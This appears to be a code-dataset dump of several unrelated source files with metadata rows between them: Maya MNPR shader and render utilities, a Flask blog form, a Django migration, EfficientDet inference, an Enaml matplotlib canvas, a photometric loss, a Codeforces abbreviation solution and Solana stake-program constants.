undo queue cmds.unloadPlugin(plugin) # unload plugin lib.printInfo("->PLUGIN SUCCESSFULLY UNLOADED") def showShaderAttr(): """ Select material and show in attribute editor """ if cmds.ls(sl=True): cmds.hyperShade(smn=True) mel.eval("openAEWindow") else: cmds.warning("Select object with shader") def refreshShaders(): """ Refreshes object-space plugin shaders """ shaderDir = systemDir("shaders") if os.name == 'nt' and mnpr_info.backend == 'dx11': shaderFile = os.path.join(shaderDir, "PrototypeC.fx") if not os.path.isfile(shaderFile): shaderFile = os.path.join(shaderDir, "prototypeC.fxo") shaders = cmds.ls(type="dx11Shader") else: shaderFile = os.path.join(shaderDir, "PrototypeC.ogsfx") shaders = cmds.ls(type="GLSLShader") for shader in shaders: cmds.setAttr("{0}.shader".format(shader), shaderFile, type="string") lib.printInfo('Shaders refreshed') return True def updateShaderFX(): """ Updates shaderFX shaders""" shaderDir = systemDir("shaders") materials = cmds.ls(type="ShaderfxShader") counter = 0 for mat in materials: counter += 1 # get materials attributes matAttrs = {} mnpr_matPresets.getMaterialAttrs(mat, matAttrs) # load new graph shaderFile = os.path.join(shaderDir, "{0}.sfx".format(matAttrs["graph"])) cmds.shaderfx(sfxnode=mat, loadGraph=shaderFile) # set attributes mnpr_matPresets.setMaterialAttrs(mat, matAttrs) print("{0} has been updated to the latest version".format(mat)) print("{0}/{1} materials updated".format(counter, len(materials))) lib.printInfo('Shaders updated') def dx112glsl(): """ Converts dx11 materials to glsl materials """ check() dx11Shaders = cmds.ls(type="dx11Shader") print(dx11Shaders) for dx11Shader in dx11Shaders: print("Transfering {0} shader".format(dx11Shader)) # get all attributes attributes = cmds.listAttr(dx11Shader, ud=True, st="x*", k=True) print(attributes) # get all connected nodes connectedNodes = cmds.listConnections(dx11Shader, t="file", c=True, p=True) print(connectedNodes) # get all shapes cmds.select(dx11Shader, r=True) cmds.hyperShade(objects="") shapes = cmds.ls(sl=True) print(shapes) # create glsl shader shader = cmds.shadingNode('GLSLShader', asShader=True, n="{0}_GL".format(dx11Shader)) cmds.select(shapes, r=True) cmds.hyperShade(assign=shader) print(">>> Shader {0} created".format(shader)) # assign attributes shaderFile = os.path.join(mnpr_info.environment,"shaders","PrototypeC.ogsfx") cmds.setAttr("{0}.shader".format(shader), shaderFile, type="string") print("Setting attributes for {0}".format(shader)) for attr in attributes: value = cmds.getAttr("{0}.{1}".format(dx11Shader, attr)) try: if type(value) == type([]): cmds.setAttr("{0}.{1}".format(shader, attr), value[0][0], value[0][1], value[0][2], typ="double3") else: cmds.setAttr("{0}.{1}".format(shader, attr), value) except: print("Found problemt when setting {0}.{1}, skipping for now".format(shader, attr)) # connect nodes if connectedNodes: for i in range(0, len(connectedNodes), 2): inputAttr = connectedNodes[i].split(".")[1] cmds.connectAttr(connectedNodes[i+1], "{0}.{1}".format(shader, inputAttr)) # set control sets if cmds.attributeQuery("Color0_Source", node=shader, ex=True): cmds.setAttr("{0}.Color0_Source".format(shader), "color:controlSetA", type="string" ) if cmds.attributeQuery("Color1_Source", node=shader, ex=True): cmds.setAttr("{0}.Color1_Source".format(shader), "color:controlSetB", type="string" ) if cmds.attributeQuery("Color2_Source", node=shader, ex=True): cmds.setAttr("{0}.Color2_Source".format(shader), "color:controlSetC", type="string" ) # delete dx11 shader #cmds.delete(dx11Shader) def dx112sfx(graph="mnpr_uber"): """ Converts dx11 materials to shaderFX materials Args: graph (str): ShaderFX graph name (filename) """ check() dx11Shaders = cmds.ls(type="dx11Shader") prototypeCNodes = [] for dx11Shader in dx11Shaders: shaderPath = cmds.getAttr("{0}.shader".format(dx11Shader)) if "rototypeC" not in shaderPath: continue prototypeCNodes.append(dx11Shader) print("Converting {0} shader".format(dx11Shader)) # get all attributes attributes = cmds.listAttr(dx11Shader, ud=True, st="x*", k=True) print(attributes) # get all connected nodes connectedNodes = cmds.listConnections(dx11Shader, t="file", c=True) print(connectedNodes) # get all shapes cmds.select(dx11Shader, r=True) cmds.hyperShade(objects="") shapes = cmds.ls(sl=True) print(shapes) # create shaderFX shader shader = cmds.shadingNode('ShaderfxShader', asShader=True, name="{0}".format(dx11Shader.replace("_WC", "_SFX"))) cmds.select(shapes, r=True) cmds.hyperShade(assign=shader) shaderFile = os.path.join(mnpr_info.environment, "shaders", "{0}.sfx".format(graph)) cmds.shaderfx(sfxnode=shader, loadGraph=shaderFile) print(">>> Shader {0} created".format(shader)) # assign settings vtxControl = bool(cmds.getAttr("{0}.{1}".format(dx11Shader, "xUseControl"))) if vtxControl: nodeId = cmds.shaderfx(sfxnode=shader, getNodeIDByName="vtxControls") cmds.shaderfx(sfxnode=shader, edit_bool=(nodeId, "value", vtxControl)) shadows = bool(cmds.getAttr("{0}.{1}".format(dx11Shader, "xUseShadows"))) if not shadows: nodeId = cmds.shaderfx(sfxnode=shader, getNodeIDByName="Shadow") cmds.shaderfx(sfxnode=shader, edit_bool=(nodeId, "value", shadows)) specularity = bool(cmds.getAttr("{0}.{1}".format(dx11Shader, "xSpecular"))) if specularity: nodeId = cmds.shaderfx(sfxnode=shader, getNodeIDByName="Specularity") cmds.shaderfx(sfxnode=shader, edit_bool=(nodeId, "value", specularity)) # assign attributes print("Setting attributes for {0}".format(shader)) for attr in attributes: value = cmds.getAttr("{0}.{1}".format(dx11Shader, attr)) if attr in dx2sfxAttr: lib.setAttr(shader, dx2sfxAttr[attr], value) # assign textures if connectedNodes: for i in range(0, len(connectedNodes), 2): textureDir = cmds.getAttr("{0}.{1}".format(connectedNodes[i+1], "fileTextureName")) attr = connectedNodes[i].split(".")[1] lib.setAttr(shader, dx2sfxAttr[attr], textureDir) # delete prototypeC shaders cmds.delete(prototypeCNodes) def systemDir(folder=''): """ Returns the system directory Args: folder (str): folder to append to system directory Returns: (str): path to system directory """ rootDir = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) return os.path.join(rootDir, folder) def selectConfig(): """Select configuration node and re-check connections""" # delete old configuration nodes if cmds.objExists("NPRConfig"): cmds.delete("NPRConfig") if not cmds.objExists(mnpr_info.configNode): print(mnpr_info.configNode) cmds.createNode("mnprConfig", n=mnpr_info.configNode) cmds.connectAttr("{0}.evaluate".format(mnpr_info.configNode), "persp.visibility", f=True) mel.eval("AttributeEditor") lib.printInfo("-> CONFIG NODE CREATED AND CONNECTED") else: cmds.select(mnpr_info.configNode) mel.eval("AttributeEditor") lib.printInfo("Selected {0} configuration node".format(mnpr_info.prototype)) def optimizePerformance(): """Function to optimize performance by disabling some Maya functions""" cmds.evaluationManager(mode="off") # set up animation evaluation to DG def renderFrame(saveDir, width, height, renderSize=1, imgFormat=".jpg", override=mnpr_info.prototype): """ Renders current frame in the viewport Args: saveDir (str): save directory width (int): width in pixels height (int): height in pixels renderSize (float): render size (factor) imgFormat (str): .jpg, .exr, etc) override (str): name of desired override (if any) """ check() # check that everything is in order renderSize = resolutionCheck(width, height, renderSize) # make sure resolution is reasonable # get working values to be changed workingRenderSize = cmds.getAttr("{0}.renderScale".format(mnpr_info.configNode)) workingColorDepth = cmds.getAttr("{0}.colorDepth".format(mnpr_info.configNode)) # set desired attributes if workingColorDepth != 2: lib.setAttr(mnpr_info.configNode, "colorDepth", 2) if renderSize != workingRenderSize: lib.setAttr(mnpr_info.configNode, "renderScale", renderSize) # prepare renderer cmds.mnpr(g=True) # enable mnprGamma mnprOperations = len(cmds.mnpr(lsO=True)) cmds.mnpr(renderOperation=mnprOperations-1, s=0) # HUD cmds.mnpr(renderOperation=mnprOperations-2, s=0) # UI cmds.refresh() # render frame try: screenshotPath = lib.screenshot(saveDir, width, height, format=imgFormat, override=override) # render the frame except WindowsError: print("Screenshot saving has been canceled") except: traceback.print_exc() if screenshotPath: # bring everything back to normal cmds.mnpr(renderOperation=mnprOperations-1, s=1) # HUD cmds.mnpr(renderOperation=mnprOperations-2, s=1) # UI lib.setAttr(mnpr_info.configNode, "renderScale", workingRenderSize) lib.setAttr(mnpr_info.configNode, "colorDepth", workingColorDepth) cmds.mnpr(g=False) cmds.refresh() return screenshotPath def playblast(saveDir, width, height, renderCamera, modelPanel, renderSize=1): """ Playblasts the timeslider Args: saveDir (str): save directory with *.mov extension width (int): width in pixels height: height in pixels renderCamera: camera to playblast from modelPanel: modelPanel to playblast from renderSize: render size (factor) """ check() # check that everything is in order renderSize = resolutionCheck(width, height, renderSize) # make sure resolution is reasonable aPlayBackSliderPython = mel.eval('$tmpVar=$gPlayBackSlider') audioNode = cmds.timeControl(aPlayBackSliderPython, q=True, s=True) # get audio node # get working values to be changed workingRenderSize = cmds.getAttr("{0}.renderScale".format(mnpr_info.configNode)) workingColorDepth = cmds.getAttr("{0}.colorDepth".format(mnpr_info.configNode)) workingCamera = cmds.modelEditor(modelPanel, cam=True, q=True) workingCameraShape = cmds.listRelatives(workingCamera, s=True) if workingCameraShape: workingCameraShape = workingCameraShape[0] else: # we already have the shape workingCameraShape = workingCamera # set desired attributes cmds.mnpr(g=True) mnprOperations = len(cmds.mnpr(lsO=True)) cmds.mnpr(renderOperation=mnprOperations-1, s=0) # HUD cmds.mnpr(renderOperation=mnprOperations-2, s=0) # UI cmds.modelEditor(modelPanel, cam=renderCamera, e=True) # change modelPanel lib.setAttr(mnpr_info.configNode, "renderScale", renderSize) lib.setAttr(mnpr_info.configNode, "colorDepth", 2) # needs to be 32bit to avoid artefacts cmds.refresh() # try playblasting try: cmds.playblast(f=saveDir, format="qt", w=width, h=height, percent=100, qlt=100, v=True, fo=True, os=True, s=audioNode, compression="PNG") except RuntimeError: try: cmds.playblast(f=saveDir, format="avi", w=width, h=height, percent=100, qlt=100, v=True, fo=True, os=True, s=audioNode) except RuntimeError: cmds.error("Video cannot be playblasted as qt or avi, please check the installed codecs.") # bring everything back to normal cmds.mnpr(renderOperation=mnprOperations-1, s=1) # HUD cmds.mnpr(renderOperation=mnprOperations-2, s=1) # UI cmds.modelEditor(modelPanel, cam=workingCameraShape, e=True) lib.setAttr(mnpr_info.configNode, "renderScale", workingRenderSize) lib.setAttr(mnpr_info.configNode, "colorDepth", workingColorDepth) cmds.mnpr(g=False) cmds.refresh() lib.printInfo("Video has been successfully playblasted to: {0}".format(saveDir)) def resolutionCheck(width, height, renderSize=1.0): """ Checks if resolution is between reasonable hardware limitations Args: width (int): viewport width height (int): viewport height renderSize (float): render size (factor) Returns: renderSize (int): viable render size (factor) """ if (width*renderSize > 16384) or (height*renderSize > 16384): cmds.warning("Resolution too high to supersample, reducing render size") return resolutionCheck(width, height, renderSize/2.0) else: if (width * height * pow(renderSize, 2)) > 150000000: confirm = cmds.confirmDialog(title='Crash Warning', message='Rendering a frame at such high resolutions might take long and even crash Maya\nWould you like to continue anyway?', icn="warning", button=['Yes', 'No'], defaultButton='Yes', cancelButton='No', dismissString='No', ma='center') if confirm == 'No': cmds.error("Frame capture cancelled by user") return renderSize def updateAE(): mel.eval("refreshEditorTemplates;") return True
38.390438
166
0.634651
0
0
0
0
0
0
0
0
6,861
0.356009
344753395c32fdc8e1cad3a8b60e006debbc3651
354
py
Python
social_blog/blog_posts/forms.py
higorspinto/Social-Blog
bec89351bf76778059f112c0e2a66de9348dda54
[ "MIT" ]
null
null
null
social_blog/blog_posts/forms.py
higorspinto/Social-Blog
bec89351bf76778059f112c0e2a66de9348dda54
[ "MIT" ]
4
2021-03-19T03:43:40.000Z
2022-01-13T01:39:30.000Z
social_blog/blog_posts/forms.py
higorspinto/Social-Blog
bec89351bf76778059f112c0e2a66de9348dda54
[ "MIT" ]
null
null
null
# blogs_posts/forms.py from flask_wtf import FlaskForm from wtforms import StringField, TextAreaField, SubmitField from wtforms.validators import DataRequired class BlogPostForm(FlaskForm): title = StringField("Title", validators=[DataRequired()]) text = TextAreaField("Text", validators=[DataRequired()]) submit = SubmitField("Post")
29.5
61
0.762712
188
0.531073
0
0
0
0
0
0
41
0.115819
34477ed091a62fd041fd8da29b9f4d7e60820e1c
415
py
Python
python/dgl/contrib/data/__init__.py
ketyi/dgl
a1b859c29b63a673c148d13231a49504740e0e01
[ "Apache-2.0" ]
9,516
2018-12-08T22:11:31.000Z
2022-03-31T13:04:33.000Z
python/dgl/contrib/data/__init__.py
ketyi/dgl
a1b859c29b63a673c148d13231a49504740e0e01
[ "Apache-2.0" ]
2,494
2018-12-08T22:43:00.000Z
2022-03-31T21:16:27.000Z
python/dgl/contrib/data/__init__.py
ketyi/dgl
a1b859c29b63a673c148d13231a49504740e0e01
[ "Apache-2.0" ]
2,529
2018-12-08T22:56:14.000Z
2022-03-31T13:07:41.000Z
from __future__ import absolute_import from . import knowledge_graph as knwlgrh def load_data(dataset, bfs_level=3, relabel=False): if dataset in ['aifb', 'mutag', 'bgs', 'am']: return knwlgrh.load_entity(dataset, bfs_level, relabel) elif dataset in ['FB15k', 'wn18', 'FB15k-237']: return knwlgrh.load_link(dataset) else: raise ValueError('Unknown dataset: {}'.format(dataset))
37.727273
63
0.691566
0
0
0
0
0
0
0
0
67
0.161446
3447c0a2e4e87d813f8b9dc78d7b0714f0ad5791
1,568
py
Python
blog/migrations/0001_initial.py
ht-90/django-blog
b7dd80a4066ecf3c288461e0c5785f953a1d2e5f
[ "MIT" ]
null
null
null
blog/migrations/0001_initial.py
ht-90/django-blog
b7dd80a4066ecf3c288461e0c5785f953a1d2e5f
[ "MIT" ]
1
2021-02-23T11:25:37.000Z
2021-02-23T11:25:37.000Z
blog/migrations/0001_initial.py
ht-90/django-blog
b7dd80a4066ecf3c288461e0c5785f953a1d2e5f
[ "MIT" ]
null
null
null
# Generated by Django 3.1.7 on 2021-02-26 08:07 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Category', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255, null=True, unique=True)), ], ), migrations.CreateModel( name='Tag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255, null=True, unique=True)), ], ), migrations.CreateModel( name='Post', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('updated', models.DateTimeField(auto_now_add=True, null=True)), ('title', models.CharField(max_length=255, null=True)), ('body', models.TextField(blank=True, null=True)), ('category', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='blog.category')), ('tag', models.ManyToManyField(blank=True, to='blog.Tag')), ], ), ]
37.333333
124
0.574617
1,442
0.919643
0
0
0
0
0
0
175
0.111607
34484b496b16254e0e79a35db6fc4ba9d65b609e
2,607
py
Python
inference.py
CraigWang1/EfficientDet-1
930d6a69aa8d5c62a69ab0349181e83f80ac4c8d
[ "Apache-2.0" ]
null
null
null
inference.py
CraigWang1/EfficientDet-1
930d6a69aa8d5c62a69ab0349181e83f80ac4c8d
[ "Apache-2.0" ]
null
null
null
inference.py
CraigWang1/EfficientDet-1
930d6a69aa8d5c62a69ab0349181e83f80ac4c8d
[ "Apache-2.0" ]
null
null
null
from model import efficientdet import cv2 import os import numpy as np import time from utils import preprocess_image from utils.anchors import anchors_for_shape from utils.draw_boxes import draw_boxes from utils.post_process_boxes import post_process_boxes def main(): os.environ['CUDA_VISIBLE_DEVICES'] = '0' phi = 1 weighted_bifpn = False model_path = 'checkpoints/2019-12-03/pascal_05_0.6283_1.1975_0.8029.h5' image_sizes = (512, 640, 768, 896, 1024, 1280, 1408) image_size = image_sizes[phi] classes = ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train', 'tvmonitor'] num_classes = len(classes) score_threshold = 0.5 colors = [np.random.randint(0, 256, 3).tolist() for _ in range(num_classes)] model, prediction_model = efficientdet(phi=phi, weighted_bifpn=weighted_bifpn, num_classes=num_classes, score_threshold=score_threshold) prediction_model.load_weights(model_path, by_name=True) image_path = 'datasets/VOC2007/JPEGImages/000002.jpg' image = cv2.imread(image_path) src_image = image.copy() image = image[:, :, ::-1] h, w = image.shape[:2] image, scale, offset_h, offset_w = preprocess_image(image, image_size=image_size) anchors = anchors_for_shape((image_size, image_size)) # run network start = time.time() boxes, scores, labels = prediction_model.predict_on_batch([np.expand_dims(image, axis=0), np.expand_dims(anchors, axis=0)]) boxes, scores, labels = np.squeeze(boxes), np.squeeze(scores), np.squeeze(labels) print(time.time() - start) boxes = post_process_boxes(boxes=boxes, scale=scale, offset_h=offset_h, offset_w=offset_w, height=h, width=w) # select indices which have a score above the threshold indices = np.where(scores[:] > score_threshold)[0] # select those detections boxes = boxes[indices] labels = labels[indices] draw_boxes(src_image, boxes, scores, labels, colors, classes) cv2.namedWindow('image', cv2.WINDOW_NORMAL) cv2.imshow('image', src_image) cv2.waitKey(0) if __name__ == '__main__': main()
37.782609
116
0.602225
0
0
0
0
0
0
0
0
395
0.151515
3448b89c1dac5e906490d2d8bd353d5694464dd2
6,609
py
Python
sklearn_pmml_model/svm/_base.py
iamDecode/sklearn-pmml-model
186c0655b6b42b787d58229118b187cc6b156b38
[ "BSD-2-Clause" ]
62
2018-06-14T05:57:00.000Z
2022-03-15T03:03:42.000Z
sklearn_pmml_model/svm/_base.py
iamDecode/sklearn-pmml-model
186c0655b6b42b787d58229118b187cc6b156b38
[ "BSD-2-Clause" ]
30
2018-10-25T16:54:53.000Z
2022-01-28T12:59:17.000Z
sklearn_pmml_model/svm/_base.py
iamDecode/sklearn-pmml-model
186c0655b6b42b787d58229118b187cc6b156b38
[ "BSD-2-Clause" ]
9
2018-06-19T09:56:18.000Z
2022-03-17T16:23:44.000Z
# License: BSD 2-Clause from sklearn_pmml_model.base import PMMLBaseRegressor, parse_array import numpy as np class PMMLBaseSVM: """ Abstract class for Support Vector Machines. The PMML model consists out of a <SupportVectorMachineModel> element, containing a <SupportVectorMachine> element that contains a <SupportVectors> element describing support vectors, and a <Coefficients> element describing the coefficients for each support vector. Support vectors are referenced from a <VectorDictionary> element, in which the true support vectors are described using <VectorInstance> elements. Furthermore, the model contains one out of <LinearKernelType>, <PolynomialKernelType>, <RadialBasisKernelType> or <SigmoidKernelType> describing the kernel function used. Parameters ---------- pmml : str, object Filename or file object containing PMML data. Notes ----- Specification: http://dmg.org/pmml/v4-3/SupportVectorMachineModel.html """ def __init__(self): # Import coefficients and intercepts model = self.root.find('SupportVectorMachineModel') if model is None: raise Exception('PMML model does not contain SupportVectorMachineModel.') vector_dictionary = model.find('VectorDictionary') svms = model.findall('SupportVectorMachine') coefficients = [svm.find('Coefficients') for svm in svms] self.shape_fit_ = (0, len(vector_dictionary.find('VectorFields'))) self.support_ = np.array([ int(x.get('id')) for x in vector_dictionary.findall('VectorInstance') ]).astype(np.int32) classes = [None, None] if isinstance(self, PMMLBaseRegressor) else self.classes_ self._n_support = np.array([ len(get_overlapping_vectors(get_alt_svms(svms, classes, c))) for c in classes ]).astype(np.int32) self.support_vectors_ = np.array([ get_vectors(vector_dictionary, s) for s in self.support_ ]) self._intercept_ = self.intercept_ = np.array([float(cs.get('absoluteValue')) for cs in coefficients]) self._dual_coef_ = self.dual_coef_ = np.array( get_coefficients(classes, self._n_support, self.support_, svms) ) if len(classes) == 2: self._n_support = (self._n_support / 2).astype(np.int32) linear = model.find('LinearKernelType') poly = model.find('PolynomialKernelType') rbf = model.find('RadialBasisKernelType') sigmoid = model.find('SigmoidKernelType') if linear is not None: self.kernel = 'linear' self._gamma = self.gamma = 0.0 elif poly is not None: self.kernel = 'poly' self._gamma = self.gamma = float(poly.get('gamma')) self.coef0 = float(poly.get('coef0')) self.degree = int(poly.get('degree')) elif rbf is not None: self.kernel = 'rbf' self._gamma = self.gamma = float(rbf.get('gamma')) elif sigmoid is not None: self.kernel = 'sigmoid' self._gamma = self.gamma = float(sigmoid.get('gamma')) self.coef0 = float(sigmoid.get('coef0')) self._probA = np.array([]) self._probB = np.array([]) def get_vectors(vector_dictionary, s): """Return support vector values, parsed as a numpy array.""" instance = vector_dictionary.find(f"VectorInstance[@id='{s}']") if instance is None: raise Exception(f'PMML model is broken, vector instance (id = {s}) not found.') array = instance.find('Array') if array is None: array = instance.find('REAL-Array') if array is None: array = instance.find('SparseArray') if array is None: array = instance.find('REAL-SparseArray') if array is None: raise Exception(f'PMML model is broken, vector instance (id = {s}) does not contain (Sparse)Array element.') return np.array(parse_array(array)) def get_alt_svms(svms, classes, target_class): """ Find alternative SVMs (e.g., for target class 0, find the svms classifying 0 against 1, and 0 against 2). Parameters ---------- svms : list List of eTree.Element objects describing the different one-to-one support vector machines in the PMML. classes : numpy.array The classes to be predicted by the model. target_class : str The target class. Returns ------- alt_svms : list List of eTree.Elements filtered to only include SVMs comparing the target class against alternate classes. """ # Noop for regression if classes[0] is None: return svms alt_svms = [ svm for svm in svms if svm.get('targetCategory') == str(target_class) or svm.get('alternateTargetCategory') == str(target_class) ] # Sort svms based on target class order alt_svms = [ next(svm for svm in alt_svms if svm.get('targetCategory') == str(c) or svm.get('alternateTargetCategory') == str(c)) for c in set(classes).difference({target_class}) ] return alt_svms def get_overlapping_vectors(svms): """ Return support vector ids that are present in all provided SVM elements. Parameters ---------- svms : list List of eTree.Element objects describing the different one-to-one support vector machines in the PMML. Returns ------- output : set Set containing all integer vector ids that are present in all provided SVM elements. """ support_vectors = [svm.find('SupportVectors') for svm in svms] vector_ids = [{int(x.get('vectorId')) for x in s.findall('SupportVector')} for s in support_vectors] return set.intersection(*vector_ids) def get_coefficients(classes, n_support, support_ids, svms): """ Return support vector coefficients. Parameters ---------- classes : numpy.array The classes to be predicted by the model. n_support : numpy.array Numpy array describing the number of support vectors for each class. support_ids: list A list describing the ids of all support vectors in the model. svms : list List of eTree.Element objects describing the different one-to-one support vector machines in the PMML. """ dual_coef = np.zeros((len(classes) - 1, len(support_ids))) for i, x in enumerate(classes): alt_svms = get_alt_svms(svms, classes, x) offsets = [0] + np.cumsum(n_support).tolist() for j, svm in enumerate(alt_svms): start = offsets[i] end = offsets[i + 1] ids = support_ids[start:end] support_vectors = [int(x.get('vectorId')) for x in svm.find('SupportVectors').findall('SupportVector')] coefficients = [float(x.get('value')) for x in svm.find('Coefficients').findall('Coefficient')] indices = [support_vectors.index(x) for x in ids] dual_coef[j, start:end] = np.array(coefficients)[indices] return dual_coef
31.927536
120
0.693751
2,950
0.446361
0
0
0
0
0
0
3,151
0.476774
34495a06737335e1258b7f38ad90e67ba9e2259e
2,532
py
Python
enaml/mpl_canvas.py
viz4biz/PyDataNYC2015
066154ea9f1837c355e6108a28b85889f3020da3
[ "Apache-2.0" ]
11
2015-11-11T13:57:21.000Z
2019-08-14T15:53:43.000Z
enaml/mpl_canvas.py
viz4biz/PyDataNYC2015
066154ea9f1837c355e6108a28b85889f3020da3
[ "Apache-2.0" ]
null
null
null
enaml/mpl_canvas.py
viz4biz/PyDataNYC2015
066154ea9f1837c355e6108a28b85889f3020da3
[ "Apache-2.0" ]
6
2015-11-11T13:57:25.000Z
2018-09-12T07:53:03.000Z
#------------------------------------------------------------------------------ # Copyright (c) 2013, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. #------------------------------------------------------------------------------ from atom.api import Typed, ForwardTyped, Bool, observe, set_default, Value, List, Enum from enaml.core.declarative import d_ from .control import Control, ProxyControl #: Delay the import of matplotlib until needed. This removes the hard #: dependecy on matplotlib for the rest of the Enaml code base. def Figure(): from matplotlib.figure import Figure return Figure class ProxyMPLCanvas(ProxyControl): """ The abstract definition of a proxy MPLCanvas object. """ #: A reference to the MPLCanvas declaration. declaration = ForwardTyped(lambda: MPLCanvas) def set_figure(self, figure): raise NotImplementedError def set_toolbar_visible(self, visible): raise NotImplementedError def set_toolbar_location(self, location): raise NotImplementedError def set_event_actions(self, actions): raise NotImplementedError def draw(self): raise NotImplementedError class MPLCanvas(Control): """ A control which can be used to embded a matplotlib figure. """ #: The matplotlib figure to display in the widget. figure = d_(ForwardTyped(Figure)) #: Whether or not the matplotlib figure toolbar is visible. toolbar_visible = d_(Bool(False)) toolbar_location = d_(Enum('top', 'bottom')) event_actions = d_(List(Value())) #: Matplotlib figures expand freely in height and width by default. hug_width = set_default('ignore') hug_height = set_default('ignore') #: A reference to the ProxyMPLCanvas object. proxy = Typed(ProxyMPLCanvas) def draw(self): """ Request draw on the Figure """ if self.proxy_is_active: self.proxy.draw() #-------------------------------------------------------------------------- # Observers #-------------------------------------------------------------------------- @observe('figure', 'toolbar_visible', 'toolbar_location', 'event_actions') def _update_proxy(self, change): """ An observer which sends state change to the proxy. """ # The superclass handler implementation is sufficient. super(MPLCanvas, self)._update_proxy(change)
31.65
87
0.612164
1,795
0.708926
0
0
303
0.119668
0
0
1,278
0.504739
3449704981ebbc8bc32237e12d8a30eef51a79de
1,566
py
Python
evaluate/previous_works/svsyn/supervision/photometric.py
Syniez/Joint_360depth
4f28c3b5b7f648173480052e205e898c6c7a5151
[ "MIT" ]
92
2019-09-08T09:55:05.000Z
2022-02-21T21:29:40.000Z
supervision/photometric.py
zjsprit/SphericalViewSynthesis
fcdec95bf3ad109767d27396434b51cf3aad2b4b
[ "BSD-2-Clause" ]
4
2020-05-12T02:29:36.000Z
2021-11-26T07:49:43.000Z
supervision/photometric.py
zjsprit/SphericalViewSynthesis
fcdec95bf3ad109767d27396434b51cf3aad2b4b
[ "BSD-2-Clause" ]
26
2019-09-16T02:26:33.000Z
2021-10-21T03:55:02.000Z
import torch from .ssim import * class PhotometricLossParameters(object): def __init__(self, alpha=0.85, l1_estimator='none',\ ssim_estimator='none', window=7, std=1.5, ssim_mode='gaussian'): super(PhotometricLossParameters, self).__init__() self.alpha = alpha self.l1_estimator = l1_estimator self.ssim_estimator = ssim_estimator self.window = window self.std = std self.ssim_mode = ssim_mode def get_alpha(self): return self.alpha def get_l1_estimator(self): return self.l1_estimator def get_ssim_estimator(self): return self.ssim_estimator def get_window(self): return self.window def get_std(self): return self.std def get_ssim_mode(self): return self.ssim_mode def calculate_loss(pred, gt, params, mask, weights): valid_mask = mask.type(gt.dtype) masked_gt = gt * valid_mask masked_pred = pred * valid_mask l1 = torch.abs(masked_gt - masked_pred) d_ssim = torch.clamp( ( 1 - ssim_loss(masked_pred, masked_gt, kernel_size=params.get_window(), std=params.get_std(), mode=params.get_ssim_mode()) ) / 2, 0, 1) loss = ( d_ssim * params.get_alpha() + l1 * (1 - params.get_alpha()) ) loss *= valid_mask loss *= weights count = torch.sum(mask, dim=[1, 2, 3], keepdim=True).float() return torch.mean(torch.sum(loss, dim=[1, 2, 3], keepdim=True) / count)
30.115385
83
0.604725
805
0.514049
0
0
0
0
0
0
22
0.014049
3449bef65b5b8a27951b1370c04e2abfac01c124
1,917
py
Python
Python/waytoolong.py
pretam591/All_Program_helper
83f52bce53bdcd0b115753ecda610d21aa0ddd2a
[ "MIT" ]
16
2021-10-03T11:15:49.000Z
2021-10-31T04:40:24.000Z
Python/waytoolong.py
pretam591/All_Program_helper
83f52bce53bdcd0b115753ecda610d21aa0ddd2a
[ "MIT" ]
232
2021-10-02T14:51:43.000Z
2021-11-14T08:23:27.000Z
Python/waytoolong.py
pretam591/All_Program_helper
83f52bce53bdcd0b115753ecda610d21aa0ddd2a
[ "MIT" ]
166
2021-10-02T13:56:34.000Z
2021-10-31T17:56:34.000Z
# A. Way Too Long Words # ------------------------------- # time limit per test1 second # memory limit per test 256 megabytes # input :standard input # output :standard output # Sometimes some words like "localization" or "internationalization" are so long that writing # them many times in one text is quite tiresome. # Let's consider a word too long, if its length is strictly more than 10 characters. # All too long words should be replaced with a special abbreviation. # This abbreviation is made like this: we write down the first and the last letter of a word and between # them we write the number of letters between the first and the last letters. # That number is in decimal system and doesn't contain any leading zeroes. # Thus, "localization" will be spelt as "l10n", and "internationalization» will be spelt as "i18n". # You are suggested to automatize the process of changing the words with abbreviations. # At that all too long words should be replaced by the abbreviation and the words that are not # too long should not undergo any changes. # Input # The first line contains an integer n (1 ≤ n ≤ 100). Each of the following n lines contains one word. # All the words consist of lowercase Latin letters and possess the lengths of from 1 to 100 characters. # Output # Print n lines. The i-th line should contain the result of replacing of the i-th word from the input data. # Examples # input # 4 # word # localization # internationalization # pneumonoultramicroscopicsilicovolcanoconiosis # output # word # l10n # i18n # p43s #solution to above problem t=int(input()) for i in range(t): s=input() if(len(s)<=10): print(s) else: print(s[0]+str(len(s)-2)+s[-1])
36.865385
107
0.649974
0
0
0
0
0
0
0
0
1,751
0.907254
344a8a5e768a6b664f7f2dcbefec0978989b66e3
584
py
Python
stake-pool/py/stake/constants.py
wowswap-io/solana-program-library
3af176d6c4d872afe029396a597736484d4a8212
[ "Apache-2.0" ]
null
null
null
stake-pool/py/stake/constants.py
wowswap-io/solana-program-library
3af176d6c4d872afe029396a597736484d4a8212
[ "Apache-2.0" ]
21
2022-03-18T20:20:29.000Z
2022-03-29T08:38:49.000Z
stake-pool/py/stake/constants.py
wowswap-io/solana-program-library
3af176d6c4d872afe029396a597736484d4a8212
[ "Apache-2.0" ]
null
null
null
"""Stake Program Constants.""" from solana.publickey import PublicKey STAKE_PROGRAM_ID: PublicKey = PublicKey("Stake11111111111111111111111111111111111111") """Public key that identifies the Stake program.""" SYSVAR_STAKE_CONFIG_ID: PublicKey = PublicKey("StakeConfig11111111111111111111111111111111") """Public key that identifies the Stake config sysvar.""" STAKE_LEN: int = 200 """Size of stake account.""" LAMPORTS_PER_SOL: int = 1_000_000_000 """Number of lamports per SOL""" MINIMUM_DELEGATION: int = LAMPORTS_PER_SOL """Minimum delegation allowed by the stake program"""
30.736842
92
0.789384
0
0
0
0
0
0
0
0
341
0.583904
